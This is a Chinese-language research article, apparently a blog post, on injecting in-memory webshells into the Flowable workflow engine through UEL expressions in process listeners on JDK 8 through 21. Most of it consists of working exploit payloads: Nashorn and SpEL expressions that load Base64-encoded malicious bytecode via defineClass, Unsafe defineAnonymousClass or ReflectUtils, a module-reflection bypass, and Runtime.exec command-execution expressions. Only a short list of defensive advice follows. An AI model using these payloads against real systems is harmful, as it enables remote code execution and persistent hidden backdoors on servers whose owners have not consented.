flowable流程引擎JDK 8-21 全版本内存马注入
字数 1510 2025-09-04 23:22:12
Flowable流程引擎全版本JDK内存马注入技术研究
1. 前置知识
1.1 Flowable简介
Flowable是一个用Java编写的轻量级业务流程引擎(BPMN),支持业务流程建模与执行。关键特性包括:
- 支持UEL(Unified Expression Language)表达式
- 提供流程定义、执行、任务管理等功能
- 支持流程监听器配置
1.2 漏洞背景
Flowable引擎允许在流程监听器中插入UEL表达式,当流程达到触发条件时会对表达式进行解析执行。这一特性可能被滥用实现任意代码执行。
2. JDK 8环境下的内存马注入
2.1 利用原理
在JDK 8中,可以直接使用当前线程的contextClassLoader反射调用defineClass方法加载恶意类。
2.2 利用代码
''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('
var base64Str = "yv66vg...";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
')
2.3 利用步骤
- 新建流程
- 在监听器中插入上述表达式
- 执行流程触发表达式解析
3. JDK 11环境下的内存马注入
3.1 JDK 11的限制
JDK 11中直接使用defineClass会报错:
Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
3.2 绕过方案
使用Unsafe类的defineAnonymousClass方法进行类加载,但有以下限制:
- 被加载的Class必须没有包名
- 或者包名与第一个参数Class的包名一致
3.3 利用代码
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("
var ClassBytes = java.util.Base64.getDecoder().decode('yv66vg...');
var safeClass = java.lang.Class.forName('sun.misc.Unsafe');
var safeCon = safeClass.getDeclaredField('theUnsafe');
safeCon.setAccessible(true);
var unSafe = safeCon.get(null);
var mem = unSafe.defineAnonymousClass(org.flowable.engine.impl.test.NoOpServiceTask.class, ClassBytes, null);
mem.newInstance();
")}
4. JDK 17/21环境下的内存马注入
4.1 环境变化
- Nashorn引擎在JDK 17中被移除
- Graal.js依赖默认被注释
4.2 利用方案
使用SpEL表达式通过org.springframework.cglib.core.ReflectUtils进行类加载
4.3 利用代码
${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'org.springframework.expression.Test',
T(org.apache.commons.io.IOUtils).toByteArray(
new java.util.zip.GZIPInputStream(
new java.io.ByteArrayInputStream(
T(java.util.Base64).getDecoder().decode('gzip + Base64')
)
)
),
T(java.lang.Thread).currentThread().getContextClassLoader(),
null,
T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')
)").getValue()}
4.4 关键注意事项
- 注入器类名必须在org.springframework.expression包下
- 需要绕过高版本反射限制,使用Unsafe修改Module:
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = HelpUtils.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
5. 命令执行示例
5.1 通过SpEL表达式
${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')").getValue()}
5.2 直接反射调用
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('open /System/Applications/Calculator.app')}
6. 踩坑记录
-
高版本Spring兼容性问题:
- javax.servlet被jakarta.servlet替代
- 报错示例:
Java.lang.AbstractMethodError: Receiver class org.springframework.expression.Test4 does not define or inherit an implementation of the resolved method 'abstract org.springframework.web.servlet.ModelAndView handleRequest(jakarta.servlet.http.HttpServletRequest, jakarta.servlet.http.HttpServletResponse)' of interface org.springframework.web.servlet.mvc.Controller.
-
反编译问题:
- 反编译内存马后可能缺少常量值
- 需要通过-classpath添加依赖进行编译
-
JDK版本适配:
- 内存马中的Object.class.getModule()方法在Java 9+才支持
- 需要使用Java 9+的javac进行编译
7. 防御建议
- 禁用不必要的表达式解析功能
- 对流程监听器中的表达式进行严格过滤
- 使用最新版本的Flowable引擎
- 实施严格的代码审查和输入验证
- 限制JVM的反射权限